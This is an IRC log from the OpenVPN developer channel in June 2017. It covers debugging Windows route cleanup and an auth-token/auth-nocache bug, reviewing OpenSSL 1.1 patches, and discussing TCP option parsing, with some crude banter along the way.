ordex: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14755.html 07:14 <@vpnHelper> Title: [Openvpn-devel] W10 Client assigns old AND new IPv6 address to TAP with GUI+Service but not with cmd prompt (at www.mail-archive.com) 07:16 <@ordex> ah ok - I skipped it because of the W10 prefix I think :D 07:17 < slypknot> the upshot of that thread is to change how the iservice adds routes etc for ipv6 from 'add' to 'set' 07:18 <@ordex> I see - unfortunately I Really have no clue about how windows works 07:19 < slypknot> does anybody have a clue about windows ;) 07:19 <@ordex> :D 07:20 < slypknot> this second problem is weirder because it also happens from command line .. 07:21 <@ordex> and does it happen on windows only ? 07:21 < slypknot> gonna have to dig a little deeper 07:22 < slypknot> ordex: the initial problem is caused by the way the iservice (win only) adds ipv6 routes etc so it can only happen in win .. but this second one is a bit more puzzling .. so have to do some tests and reboots 07:22 <@ordex> yeah I was referring to the second one 07:22 <@ordex> thanks for digging :) 07:22 * slypknot is rebooting 07:23 < CRCinAU> dazo: just that it doesn't work on the client yet :P 07:24 <@dazo> CRCinAU: oh, the management interface stuff we found? 07:34 < CRCinAU> nah 07:34 < CRCinAU> the auth-token :P 07:34 * dazo don't follow 07:35 < CRCinAU> I want to start throwing tokens back and forth... but the client still misbehaves and sends back the OTP 07:37 <@dazo> okay, that's when using network manager? 07:37 < CRCinAU> yep 07:37 < CRCinAU> did you see .... whats his names reply? 07:37 <@cron2> dazo: I've decided against 2.3, as it would have meant "manual work" (some files are new, etc.) - but 2.4, you already discovered :-) 07:38 < CRCinAU> oh yeah - I just looked back over my emails - and you mentioned: 07:38 < CRCinAU> Alright, that means we can consider the current behaviour a bug and we 07:38 < CRCinAU> can clean up the management interface in regards to a received auth-token. 07:38 < CRCinAU> sorry - my misunderstanding... lets rewind.... 07:38 < CRCinAU> dazo: yes, the management interface stuff we found ;) 07:38 <@dazo> CRCinAU: yes, that it :) I'll try to get some time to look at it ... unless others manage to sort it out before I get started 07:39 <@ordex> how's that supposed to be fixed? we basically have to handle the reneg internally and avoid notifying the management interface ? 07:39 < CRCinAU> ordex: yep 07:39 < CRCinAU> From James: 07:39 <@ordex> oh I see 07:39 < CRCinAU> I'm thinking that when a server pushes an auth token to a client, the 07:39 < CRCinAU> client-side management interface doesn't need to concern itself with 07:39 < CRCinAU> that because the trust relationship with the server has already been 07:39 < CRCinAU> established. 07:39 <@dazo> cron2: no worries, in regards to copyright stuff, 2.3 is "dead" to me ... as it was Fedora build process complaining about it ... and Fedora+EPEL is now 2.4 :) 07:39 <@ordex> yeah I was in CC, but from there I missed the next step 07:40 <@dazo> :) 07:40 < CRCinAU> ordex: oh - you're Antonio? 07:40 <@ordex> sometimes 07:40 <@ordex> :D 07:40 <@ordex> hehe yes 07:40 <@cron2> *g 07:40 < CRCinAU> depending on which personality wakes up first? I get it. 07:40 <@ordex> :P 07:42 < CRCinAU> My mum always used to tell me that I was a unique butterfly.... for 30 odd years I've been expecting to wake up as something beautful.... yet every morning I'm still a cunt :\ 07:42 <@ordex> keep on hoping! you nebver know :) 07:42 <@ordex> *never 07:43 < CRCinAU> eh 07:43 < CRCinAU> not while I still work on credit card payment systems lol 07:44 < CRCinAU> The Boss sat down with me today to help me figure out a weird edge corner case 07:45 < CRCinAU> after about an hour, he goes "I'm starting to realise why you're frustrated... this is retarded" 07:45 <@cron2> I hope that wasn't openvpn... 07:45 < CRCinAU> hahahah nah 07:45 < CRCinAU> openvpn just gets me into my home network from the office :P 07:45 <@cron2> good (otherwise we'd have to invite your boss here to ban him right away :) ) 07:45 <@ordex> lol 07:46 < CRCinAU> gotta get onto IRC somehow during the day ;) 07:46 <@cron2> ordex: CRCinAU is a great fan of being banned from open source channels 07:46 < CRCinAU> in fact, openvpn is probably more secure than the BS we use for the bank lol 07:46 <@cron2> collects bans like trophies 07:46 <@cron2> CRCinAU: the amount of sheer crazyness in closed source stuff cannot be explained in words... 07:47 <@ordex> cron2: that's the only reason why closed software sjhould stay such: to avoid shame 07:47 <@ordex> :P 07:47 < CRCinAU> like today.... transaction auth = 00 AUTHORIZED, payment = 00 APPROVED... status = FAILED, PaymentVoid = true 07:48 < CRCinAU> then when I resubmit: Error - You already have an approved transaction with this reference 07:48 < CRCinAU> so in the credit card world, you do AUTH, then CAPTURE.... auth makes sure the card details are all good, capture does the funds transfer 07:49 <@cron2> "capture" sounds fully like banking business :) 07:49 < CRCinAU> this dumb ass gateway goes AUTH + CAPTURE, then check the card details, if one of them is wrong, it does a VOID. 07:49 < CRCinAU> ie AUTH -> CAPTURE -> VERIFY -> REFUND 07:50 < CRCinAU> do had to work around that with BS so that it does AUTH -> VERIFY -> CAPTURE -> APPROVED 07:51 < CRCinAU> why does it transfer the funds before checking the card details are correct? 07:51 < CRCinAU> banking! :) 07:51 <@ordex> this is an interesting feature.. :D 07:52 < CRCinAU> oh man, the shit I can do with a credit card number...... lol 07:52 < CRCinAU> don't need a name, or expiry, or cvc... just the number.... 07:52 < CRCinAU> everything else is 'optional' when you get to the core 07:52 < CRCinAU> card expired? banking network don't care. 07:52 <@ordex> I anm pretty sure you don't even need that :D anyhow, this is an ugly business…getting to see how old and buggy is the system bilions of people use everyday 07:53 <@ordex> *am 07:53 < CRCinAU> ever had to translate a value into EBCDIC? :P 07:53 * cron2 read a nice introductory paper recently how to use SS7 networks to grab other people's SMSes... *that* is scary stuff, given that it's used to authorize financial transfers... 07:54 < CRCinAU> yes, EBCDIC is still used in the core. 07:56 < CRCinAU> I'm trying to remember the standard used atm - but the name escapes me.... 07:56 < CRCinAU> I have the lookup book on my desk at work 07:56 < slypknot> cron2: v242 restores old routes (not pushed or in client conf) to non existant ip addresses if ovpn is not close gracefully 07:57 <@cron2> slypknot: logs or it did not happen 07:57 < slypknot> not even using iservice 07:57 <@cron2> (but if you "do not close gracefully", openvpn will *not* restore *anything*, because if it's gone, it cannot do anything) 07:57 < slypknot> would you prefer a new thread ? 07:58 <@cron2> no, just stop killing openvpn - THIS IS A PEBKAC 07:58 < slypknot> lol 07:58 <@cron2> there is no way to clean up properly if you force-kill the lone process that *could* do the cleanup 07:58 <@cron2> (if you use the iservice, the iservice will clean up, but if you kill the iservice, you're again stuck with garbage) 07:58 < slypknot> this is ipv4 no iservice 07:58 <@cron2> IPv4 routing is done via iservice as well 07:59 < slypknot> hmm ..# 07:59 <@cron2> because you need privileges to do install/delete routes, for v4 or v6 07:59 <@cron2> only IPv4 *address* is done via DHCP 07:59 < slypknot> running admin cmd prompt 07:59 < CRCinAU> "I punch myself in the face, but I dont like the fact that it hurts... Please make it stop hurting" 08:00 <@cron2> slypknot: if you run as admin from cmd, no iservice is involved - so if you kill openvpn, it will leave behind un-cleaned-up garbage. 08:00 <@cron2> Yes. 08:00 <@cron2> It is that way on every platform. 08:00 <@cron2> And there is no way to avoid this 08:00 <@cron2> (except by running extra cleanup services, and then people go along and kill *those*, and wonder why they end up making a mess) 08:01 < slypknot> i'm gonna start a new thread on the ml 08:01 * dazo runs away from the ML 08:02 < CRCinAU> hey - don't go stealing my thunder... 08:02 < slypknot> i accept the pebkac bit but there is something very odd going on 08:02 <@cron2> if you install v4 routes pointing to a v4 gateway that is gone (because the DHCP lease on the interface is gone), funny things can happen if windows decides to re-anchor the routes elsewhere 08:03 < slypknot> the question is why windows recreates the routes at all ! 08:03 < CRCinAU> dazo: fuckin hell.... I'm browsing the openvpn source on github hunting tokens...... 08:03 < CRCinAU> I can see I'm going to end up doing a clone, making a patch and screwing up the world. 08:03 <@cron2> slypknot: the routes are already there, so nothing to "recreate" 08:04 < slypknot> ahh i see 08:06 < slypknot> yep - if i restart config-1 (which i killed) then exit properly then start config-2 it sets up config-2 correctly 08:16 <@dazo> CRCinAU: that'd be great! I'm willing to review it 08:16 < CRCinAU> dazo: problem is, I'm not finding it :P 08:16 <@dazo> tokens are supposed to be needles in a haystack ... right? :-P 08:17 < CRCinAU> o_O 08:17 * CRCinAU sets mode +b dazo ;) 08:17 <@dazo> lol 08:22 < CRCinAU> so how can I connect to the management socket? 08:22 < CRCinAU> ir seems there's a /var/run/NetworkManager/something 08:22 <@dazo> CRCinAU: start openvpn from the command line .... using --management 127.0.0.1 22222 --management-query-passwords --management-hold 08:23 <@dazo> CRCinAU: from a different shell ... use: telnet 127.0.0.1 22222 08:23 <@dazo> then you need to first issue: hold release (which lets openvpn continue the init phase) 08:24 <@dazo> then it will ask for some 'Auth' stuff... so you set username with: username Auth my_fancy_username 08:24 <@dazo> and password in a similar way: password Auth S3cretP4ssw0rd 08:25 < CRCinAU> I thought I'd just be able to use socat on the socket? 08:25 < CRCinAU> or is that more complex? 08:25 <@dazo> probably ... the socket is a unix socket ... so if NetworkManager have connected to it, you might have other challenges 08:26 <@dazo> nc against 127.0.0.1:22222 should work too :) 08:26 < CRCinAU> ahhh - there's only one thing allowed to talk at once? 08:26 <@dazo> yeah 08:26 < CRCinAU> ok - let me fix up a proper command line..... 08:33 -!- You're now known as ecrist-away 08:34 -!- You're now known as ecrist-away-to-a 08:34 -!- You're now known as ecrist 08:37 < CRCinAU> so after it says: SUCCESS: 'Auth' password entered, but not yet verified 08:37 < CRCinAU> we're good? 08:37 <@dazo> yes 08:37 < CRCinAU> verb 5 08:37 < CRCinAU> should show me the reneg? 08:39 < CRCinAU> wait 08:39 < CRCinAU> is it purely the first >PASSWORD:Need 'Auth' username/password that kills NM? 08:40 < CRCinAU> cos either my reneg isn't happening, or it never prompts after authing again with the token 08:42 <@dazo> CRCinAU: ahh, you need --auth-nocache in addition to your command line 08:42 < CRCinAU> I have that. 08:46 < CRCinAU> ahhh pebkac 08:46 < CRCinAU> maybe 08:49 < CRCinAU> I'm confused then.... so from the CLI... once you enter: password Auth <token> 08:49 < CRCinAU> does it ask again? 08:54 < CRCinAU> it looks like to me it isn't even sending the password again? 08:57 < CRCinAU> ohhh - I have to input both the usernmae and password? 08:59 < CRCinAU> hrmrrm - I wonder if my token veries..... 09:01 < CRCinAU> ah. 09:01 < CRCinAU> <-- retard. 09:01 <@ordex> pebkac? 09:02 <@ordex> :) 09:05 < CRCinAU> yep 09:05 < CRCinAU> I get how it works now 09:05 < CRCinAU> so I'm putting in the user / token now - and it verifies etc etc 09:06 < CRCinAU> and I'm seeing on the server end: 09:06 < CRCinAU> openvpn[4112]: Token authentication successful 09:06 < CRCinAU> which is my yubikey script 09:07 < CRCinAU> dazo: so now I understand a little more what is going on - but its not exactly what I thought :p 09:18 <@dazo> CRCinAU: welcome to the mysterious world of OpenVPN, where all the magic happens :) 09:20 < CRCinAU> ok..... 09:20 < CRCinAU> I realise I really don't know anywhere near enough C to figure out wtf is going on 09:21 < CRCinAU> the closest I could figure is that about here: https://github.com/OpenVPN/openvpn/blob/caa54ac398db25b72d7d1d633d2ee330b5b8a3e9/src/openvpn/ssl.c#L460 09:21 <@vpnHelper> Title: openvpn/ssl.c at caa54ac398db25b72d7d1d633d2ee330b5b8a3e9 · OpenVPN/openvpn · GitHub (at github.com) 09:21 < CRCinAU> if ssl_set_auth_token gets called, then it also sets passbuf.nocache = false; auth_user_pass.nocache = false; 09:22 < CRCinAU> but I'm guessing that may even get called *after* ssl_set_auth_nocache - which means you may have already lost everything 09:22 < CRCinAU> and then I have no idea where the hell to go from there. 09:22 < CRCinAU> I'll leave my C skills for screwing with my arduino and LEDs lol 09:24 <@dazo> heh 09:24 < slypknot> Does openvpn log DHCPRenewal on eth0 ? 09:24 <@dazo> nope 09:25 < slypknot> so what is this : https://forums.openvpn.net/viewtopic.php?f=6&t=24313#p71096 09:25 <@vpnHelper> Title: openvpn MBUF: mbuf packet dropped - OpenVPN Support Forum (at forums.openvpn.net) 09:25 <@dazo> slypknot: the DHCP stuff happening on Windows ... happens all inside the Windows TAP driver, it emulates a DHCP server when needed 09:25 < slypknot> right at the end of the log 09:25 < slypknot> what about in linux ? 09:26 <@dazo> slypknot: the DHCP* lines comes from the dhclient running on that linux box ... and dhclient is the DHCP client often used on Linux 09:26 < slypknot> so openvpn does log dhcprenewal on eth0 on linux ? 09:26 <@dazo> no. 09:26 < slypknot> oh .. i got you ;) 09:26 <@dazo> openvpn[6324] <<< that is the openvpn process, with pid 6324 09:27 <@dazo> dhclient[1336] << dhclient with pid 1336 09:27 < slypknot> yep .. thanks :) 09:31 < CRCinAU> dazo: so reading between the lines, if I remove --auth-nocache, then it'll ask for the token once, and be happy ever after. 09:31 < CRCinAU> well, if I changed the password before the reneg happens 09:38 * CRCinAU continues on his bug hunting: 09:38 < CRCinAU> https://bugzilla.redhat.com/show_bug.cgi?id=1462262 09:38 <@vpnHelper> Title: Bug 1462262 wpa_supplicant possibly uses DEFAULT:!EXP:!LOW for cipher selection (at bugzilla.redhat.com) 09:46 <@dazo> CRCinAU: correct ... so the management interface needs to be educated to ignore --auth-nocache if --auth-token is pushed .... but we need to base this upon another patch from ordex which have been ACKed (but not applied yet) ... which does a similar thing for the console 10:04 < CRCinAU> oh ok 10:04 < CRCinAU> and here I was going to harass you for a scratch build to test :P 10:06 <@dazo> hehehe :-P 10:36 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 10:37 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 11:01 <@vpnHelper> RSS Update - tickets: #903: OpenVPN client upgrade to 2.4 is unable to stay connected <https://community.openvpn.net/openvpn/ticket/903> 12:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 12:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 12:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:40 <@ordex> cron2: I was just checking some of my old pending patches: I have "[PATCH] Allow learning iroutes with network made up of all 0s (only if netbits < 8)" which is suposed to fix ticket #726 - maybe it could be worth giving it a look ? 15:41 <@ordex> cron2: also "[PATCH] ifconfig-ipv6(-push): allow using hostnames" 15:41 <@ordex> CRCinAU: good morning :) 15:42 <@ordex> CRCinAU: do you have a bug # for your auth thing ? 18:34 -!- siruf_ is now known as siruf 23:37 < CRCinAU> ordex: for the auth-token breakage? 23:37 < CRCinAU> no. 23:37 < CRCinAU> where would I create such thing? 23:39 < CRCinAU> I see theres no "Issues" part here https://github.com/OpenVPN/openvpn :P 23:39 <@vpnHelper> Title: GitHub - OpenVPN/openvpn: OpenVPN is an open source VPN daemon (at github.com) --- Day changed Sat Jun 17 2017 00:34 <+danhunsaker> CRCinAU: https://community.openvpn.net/openvpn/ 00:34 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 00:35 < CRCinAU> danhunsaker: theres no issue tracker there? 00:36 <+danhunsaker> Sure is. The instructions to sign up are all over that page. 00:36 < CRCinAU> ahhhh 00:36 < CRCinAU> https://community.openvpn.net/openvpn/report 00:36 <@vpnHelper> Title: Available Reports – OpenVPN Community (at community.openvpn.net) 00:36 < CRCinAU> oh god... its Trac...... 00:37 <+danhunsaker> Yeah. It's Trac. 00:37 * CRCinAU starts getting Nam style flashbacks 00:37 <+danhunsaker> I dunno. I think these are 100% Trac style... 00:48 < CRCinAU> yay 00:48 < CRCinAU> https://community.openvpn.net/openvpn/ticket/904 00:48 <@vpnHelper> Title: #904 (auth-tokens are purged if auth-nocache is set) – OpenVPN Community (at community.openvpn.net) 00:48 <@vpnHelper> RSS Update - tickets: #904: auth-tokens are purged if auth-nocache is set <https://community.openvpn.net/openvpn/ticket/904> 00:48 < CRCinAU> or that lol 00:49 < CRCinAU> dazo: I was actually thinking.... should the auth token be specified in a different section of memory? 00:50 < CRCinAU> then the token gets its own place - and none of the routines that purge auth details from the standard username/password fields would hit the token. 00:50 < CRCinAU> then when the client looks at what auth to use, if a token is set, use that. 00:52 < CRCinAU> but I feel there's still issues with usernames etc :\ 00:52 < CRCinAU> ie if the token is set after a purge. 14:00 < slypknot> ordex: is this usable ipv6 packet filter fork https://github.com/ordex/openvpn/tree/ipv6pf 14:00 <@vpnHelper> Title: GitHub - ordex/openvpn at ipv6pf (at github.com) 15:12 < slypknot> ordex: I could not get that fork to load ipv6 packet filter user file with ipv6 netblock .. does not like /netbits > 32 15:14 < slypknot> I built that fork and then built the backreference pf plugin against it (on ubuntu) then ran that openvpn binary with the plugin 15:28 < slypknot> i have done something wrong with git and have the wrong pf.c 17:45 < slypknot> ordex: AFAICS your version of openvpn does not set $pf_file 17:52 < slypknot> i did get the right version of pf.c this time 17:55 < slypknot> trying to use this plugin http://backreference.org/2010/06/18/openvpns-built-in-packet-filter/ 17:56 < slypknot> built on i hope) your git repo --- Day changed Sun Jun 18 2017 02:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 258 seconds] 02:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:27 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:22 <@cron2> Sun Jun 18 11:13:53 2017 Key [AF_INET]194.97.140.11:51199 [0] not initialized (yet), dropping packet. 04:22 <@cron2> "took me only 20 minutes to build a test setup that actually sends back an empty PUSH_REPLY" 04:23 <@cron2> ... and, here we go :-) 04:23 <@cron2> Sun Jun 18 11:15:04 2017 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1) 04:23 <@cron2> Sun Jun 18 11:15:04 2017 PUSH: Received control message: 'PUSH_REPLY' 04:23 <@cron2> Sun Jun 18 11:15:04 2017 Data Channel Encrypt: Cipher 'BF-CBC' initialized with 128 bit key 04:43 <@syzzer> cron2: I decided to not re-test that patch - as I as quite convinced that this is the right thing just by looking at the code 04:46 <@cron2> syzzer: I was tempted to skip testing it, based on our conversation :-) - but decided that it's always better to re-test assumptions ;-) 04:47 < CRCinAU> cron2++ ;) 05:02 <@vpnHelper> RSS Update - gitrepo: Fix edge case with clients failing to set up cipher on empty PUSH_REPLY. <https://github.com/OpenVPN/openvpn/commit/bd230079d98bfe6aec70b7aedefdffcdbd0e56da> 05:16 <@syzzer> cron2: openssl 5/7 seems to have a number of unnecessary includes. 05:16 <@cron2> new ones? 05:16 <@syzzer> I was wondering if you'd want a new patch to fix that 05:16 <@syzzer> nope 05:17 <@syzzer> well, yes, newest patch set, but I didn't review this one before 05:17 <@cron2> ah, that one, in openssl_compat.h 05:17 <@syzzer> yep 05:18 <@syzzer> I'll just send my reply, stating that I leave that decision up to you :) 05:18 <@cron2> well, one is easy to see - <openssl/ssl.h> is twice in there, which is definitely one too many :) 05:19 <@cron2> let me work through 1..4, run test suite on them, push, and then return to 5 :-) (and make up my mind on the way) 05:28 <@cron2> mmmh 05:28 <@cron2> 3/4 introduces a new warning 05:28 <@cron2> ../../../openvpn/src/openvpn/openssl_compat.h:352:14: warning: passing 'const char *' to 05:28 <@cron2> parameter of type 'void *' discards qualifiers 05:28 <@cron2> [-Wincompatible-pointer-types-discards-qualifiers] 05:28 <@cron2> free(meth->name); 05:28 <@cron2> ^~~~~~~~~~ 05:28 <@cron2> (I think it's 3, this looks like RSA) 05:29 <@syzzer> that should not be new 05:29 <@syzzer> and it's fixed by 8/8 :) 05:30 <@cron2> ok, good. 05:34 <@cron2> just out of curiousity: where are we using DSA? (4/8) 05:35 <@cron2> ================== 05:35 <@cron2> All 3 tests passed 05:35 <@cron2> ================== 05:35 <@cron2> (2.4 with 1..4/8 applied) 05:36 <@syzzer> we support DSA priv keys 05:36 <@syzzer> we might want to drop DSA support at some point, but I believe people are actually using it 05:36 <@cron2> is your test suite covering these? 05:37 <@syzzer> nothing automated, need to do that by hand 05:37 <@cron2> (plus all other ways we could do privkeys) 05:37 <@cron2> 'cause mine is all plain RSA... 05:37 <@syzzer> mine is RSA + EC 05:40 <@cron2> wrt 8/8 - does the comment have UTF8 characters there? 05:40 <@cron2> it reads 05:40 <@cron2> > + * Thus we are allowed to free it here. In order to avoid a 05:40 <@cron2> > + * ???free??? discards ???const??? warning, we force the pointer to 05:41 <@cron2> here, with lots of ? ? ? - which looks funky 05:42 <@cron2> oh, indeed, that's UTF8 somethings, which I think we do not want in our code - I'll replace them with standard ASCII quotes 05:47 <@syzzer> good catch - all my tooling seems to support UTF-8 just fine, so I didn't notice anything 05:48 <@plaisthos> oh with syzzer acking all the openssl 1.1 patches Ineed to go the pain to figure out how to build OpenSSL 1.1 on android 05:51 <@vpnHelper> RSS Update - gitrepo: OpenSSL: don't use direct access to the internal of DSA <https://github.com/OpenVPN/openvpn/commit/c07c0358b553c519ed9d80e2e0a9ba48ca8850e4> || OpenSSL: don't use direct access to the internal of RSA <https://github.com/OpenVPN/openvpn/commit/f7780af6f1aaffcbbfb8b4dde0f2af052f84b28a> || OpenSSL: don't use direct access to the internal of EVP_PKEY <https://github.com/OpenVPN/openvpn/commit/b8ca5bc3593e539d0735a7 06:10 <@syzzer> cron2: would be good if we could get <1495285075-4957-1-git-send-email-steffan@karger.me> into the coming release too 06:14 < CRCinAU> *cough* and auth tokens fixed *cough* 06:14 < CRCinAU> ;) 06:16 <@plaisthos> I will look into that when I have time :/ 06:16 < CRCinAU> ;) 06:17 < CRCinAU> I started - but the only thing I realised is that I really don't know enough C to be useful in any of it ;) 06:17 < CRCinAU> but I did wonder if the auth token should be stored differently to the auth username / password - and the reneg basically send the auth-token over username/password when it comes to a reneg 06:18 < CRCinAU> right now, I think it goes into the same username/password definition. 06:18 < CRCinAU> it there's a seperate token struct, then instantly all the auth-nocache issues disappear. 06:19 < CRCinAU> but it kind of all assumes that we haven't purged the username before we get the pushed token 06:22 < CRCinAU> plus, I'm not sure if there's a secondary bug where the management interface gets notified of the password required for the reneg - or if some other issue is going on 06:42 <@cron2> syzzer: which one is that? 06:43 <@syzzer> the mbed tls fingerprint fix 06:43 <@cron2> ah 06:43 <@syzzer> the change is trivial, the analysis a little less 06:53 <@plaisthos> I think management is only queries ifopenvon does not have a password 06:57 <@vpnHelper> RSS Update - gitrepo: OpenSSL: force meth->name as non-const when we free() it <https://github.com/OpenVPN/openvpn/commit/3fd07c31fe8878dc75e760d151d291379c0f8743> 07:09 <@cron2> plaisthos: if you're around and have time right now, could you have a look at the patch syzzer mentioned? (mbedtls fingerprint fix) 07:10 <@cron2> otherwise I'll do it later 07:14 <@plaisthos> done 07:14 <@cron2> now that was quick :) 07:14 <@cron2> thanks 07:15 * cron2 returns to openssl 1.1 5/8...7/8 now 07:22 <@cron2> our Changes.rst is a good mess 07:22 <@cron2> we have 07:22 <@cron2> version 2.4.3 07:22 <@cron2> version 2.4.1 07:22 <@cron2> version 2.4.2 07:22 <@cron2> version 2.4.2 07:22 <@plaisthos> in that order? 07:22 <@cron2> in there now (the last one came from the new patch which should be 2.4.3, fixing on the fly) 07:22 <@cron2> ses 07:22 <@cron2> yes 07:22 <@cron2> which order do we want this to be? ascending or descending? 07:23 <@plaisthos> I would say descending 07:23 <@cron2> so 2.4.4, 2.4.3, 2.4.2, 2.4.1? 07:23 <@plaisthos> yeah 07:23 <@plaisthos> That would be my idea 07:23 <@plaisthos> what order is changelog? 07:24 <@cron2> same, descending 07:24 <@plaisthos> that is also descending 07:24 <@cron2> yeah 07:24 <@cron2> I'll move this patch to the existing 2.4.3 section, and clean up 2.4.2/2.4.1 when preparing release 2.4.3 07:24 <@plaisthos> building openssl 1.1 with a different buildsystem is fun :( 07:26 <@cron2> I'd bet so 07:26 <@cron2> it's already fun if you use their own build system 07:26 <@cron2> like, on platforms where their config for assembly got out of sync (NetBSD/Sparc64)... 07:27 <@plaisthos> I know too much aobut their build system already 07:27 <@plaisthos> adding more perl is not helping ... 07:28 <@plaisthos> size of long and long long is probably something also inttypes provides ... 07:32 <@cron2> yeah, but why trust the OS when you can script your way to some exciting susprises instead 07:43 <@vpnHelper> RSS Update - gitrepo: Fix mbedtls fingerprint calculation <https://github.com/OpenVPN/openvpn/commit/21a540f92bf65f39eb92967476eba0bcd2a34ef6> || Add a DSA test key/cert pair to sample-keys <https://github.com/OpenVPN/openvpn/commit/3d215d4c9d107fa153082e2bba8a3a9c8865be5d> 07:49 <@cron2> syzzer: do you have an 1.1 testbed at hand and can confirm that it works without these extra includes? 07:49 <@cron2> I can only test this on 1.0 systems right now 07:53 <@syzzer> cron2: will test 07:55 <@cron2> AUTO_USERID sounds like something a cleanup patch might drop for good :-) - if James broke it in 2.1 and nobody ever noticed... 07:56 <@syzzer> my thoughts exactly 08:00 <@cron2> so 1.0 systems seem to work fine without the extra #includes - I tend to leave them out ("work fine" = "no compile warning, and passing make check") 08:02 <@syzzer> compiles just fine for me without the extra includes - but that is most likely due to the include order in the files including openssl-compat.h, rather than that the list is complete without these 08:03 <@cron2> this is what I just wrote in the "applied" mail... 08:03 <@syzzer> I think that for that patch is basically only makes sense in include evp.h 08:03 <@cron2> I have removed the extra #include lines again, as suggested by Steffan, 08:03 <@cron2> and they do not seem to be missing - if they are part of a larger 08:03 <@cron2> cleanup (like "move all the <openssl/foo.h> includes into a central 08:03 <@cron2> place) please re-send as an additional patch. 08:03 <@syzzer> ah, that's fine with me 08:04 <@cron2> (well, the mail has not been *sent* yet, and neither has anything been pushed :) ) 08:04 <@syzzer> going afk now, $gf is waiting for half an hour now to go to the city center ;-) 08:04 <@cron2> oops. *wave* 08:04 <@cron2> enjyo 08:04 <@syzzer> thanks :) more patches tomorrow. 08:05 <@cron2> cool 08:22 -!- m-a1 is now known as m-a 08:32 <@vpnHelper> RSS Update - gitrepo: OpenSSL: don't use direct access to the internal of HMAC_CTX <https://github.com/OpenVPN/openvpn/commit/aba98e9050eb54d72d921e70bcd422cb892b9c6c> || OpenSSL: don't use direct access to the internal of EVP_CIPHER_CTX <https://github.com/OpenVPN/openvpn/commit/6cbd48a3ead23f004f25943d067fa668efdc580e> || OpenSSL: don't use direct access to the internal of EVP_MD_CTX <https://github.com/OpenVPN/openvpn/commit/c481 08:32 <@cron2> done! 08:32 * cron2 is afk as well now 09:00 <@plaisthos> Do I see that right that all OpenSSL 1.1 patches are now applied? 09:51 <@syzzer> plaisthos: correct! 10:57 < CRCinAU> cron2: I like exciting surprises! :) 13:45 <@ordex> slypknot: I'd need to at least rebase that branch 13:45 <@ordex> it is quite old 13:46 <@ordex> and *if i remember correctly* the latest version was such that no plugin was required to enable the pf 14:25 <@plaisthos> openvpn/src/openvpn/openssl_compat.h:56:1: error: static declaration of 14:25 <@plaisthos> 'EVP_MD_CTX_reset' follows non-static declaration 14:25 <@plaisthos> EVP_MD_CTX_reset(EVP_MD_CTX *ctx) 14:25 <@plaisthos> *sigh* I hate OpenSSL 14:30 <@plaisthos> my fault for not using configure :) 14:37 * cron2 hands plaisthos a beer - this helps 14:37 <@cron2> (I'm silently grumbling about TCP options...) 14:37 <@plaisthos> I just added about 40 l;ines of HAVE_ in config.h 14:37 <@plaisthos> If I had known that they that many I would not have done it manually 14:41 <@cron2> https://www.iana.org/assignments/tcp-parameters/tcp-parameters.xhtml 14:41 <@vpnHelper> Title: Transmission Control Protocol (TCP) Parameters (at www.iana.org) 14:41 <@cron2> yeah, fun 14:41 <@cron2> there's lots of options listed that you can't properly interpret, because it's not clear whether they come with a length field or not... 14:41 <@plaisthos> great ... 14:42 <@plaisthos> half of them are obsleteted 14:43 <@plaisthos> and other are really obscure 14:43 <@plaisthos> like tcp-md5 which iirc only used for bgp tcp sessions 14:43 * cron2 reads rfc1644 out of curiosity... that's T/TCP... "the option carry a long a 32 bit number", but yeah, using the length field so people parsing the header to find MSS won't have to know... 14:44 <@cron2> tcp-md5 is something I regularily bump into :) - but then, I do BGP sessions... 14:55 <@plaisthos> cron2: yeah but have you seen tcp-md5 outside a bgp session? :) 14:56 <@cron2> I'm fairly sure I haven't, ever 14:56 <@plaisthos> but switch/router OS vendors are probably the only ones that are thiking about where to put an authentication come up with the idea to put it into tcp 14:57 <@plaisthos> They: I know tcp very well, adding authentication as an option should be no problemo, Rest world: TCP is black magic, better not touch it 14:57 <@cron2> since it protects against people MITM your session and sending you a RST, I find that idea not bad 14:58 <@cron2> but yeah, "rest of the world..." :) 14:58 <@cron2> RFC5925 (generalized TCP AO) mentions LDP as well... "another router protocol" 14:58 <@plaisthos> yeah :) 14:58 <@plaisthos> label distribution protocols 14:59 <@plaisthos> iirc for mpls 14:59 <@cron2> I've never actually *seen* it on LDP, but that would have been my guess "if it's used anywhere else" :-) - then I googled for "TCP MD5 uses" and that's what came up 15:00 <@cron2> sorry for that for() - "it got formatted that way by the tool we used"... 15:01 <@cron2> I wouldn't actually *write* a for() loop that way, with multiple statements for start and inc... but that's what we inherited 15:02 < slypknot> cron2: I can give you full access to my arch linux which is openssl 1.1 if that helps .. 15:06 <@cron2> slypknot: if you want, try compiling and running master of today with 1.1 - should work now 15:06 <@cron2> (patches have all been merged, so I do not want to test anything anymore :) ) 15:06 <@cron2> I just wanted to be sure that the change to the original patch syzzer had proposed worked both on 1.0 and 1.1, and syzzer confirmed that for 1.1 15:07 <@cron2> we had a good day today :) 15:07 < slypknot> righto .. i'm on it ! 15:07 < slypknot> amazing day ! 15:07 < slypknot> well done to all 15:11 <@cron2> plaisthos: the corresponding code in 2.3, *that* one looks ugly... it even has the opening { on the same line as the "olen -= optlen" part... 15:13 < slypknot> cron2: I'll let buildbot catch up on arch first .. probably be some errors 15:14 <@cron2> slypknot: not sure what it does, but it might decide to build all intermediate releases... in which case, yeah, errors. But then, hopefully all green :-) 15:14 * cron2 is curious to see the result 15:14 <@cron2> now testing MSS in 2.2 branch... 15:15 < slypknot> i'll give it a load more RAM to get on with it 15:23 <@cron2> so, looking at TCP options in wireshark now, which confirms my reading of the code :) 15:23 <@cron2> (tcpdump decodes the options just fine, but omits "Kind" and "length" fields) 15:36 <@cron2> mmmh, is MSS always *required* to be first? I'm now testing from a few different OSes, and they all put lots of random TCP options in there (SACK, wscale, NOP, TS; ...) but MSS is always first... 15:44 <@vpnHelper> RSS Update - gitrepo: Fix potential 1-byte overread 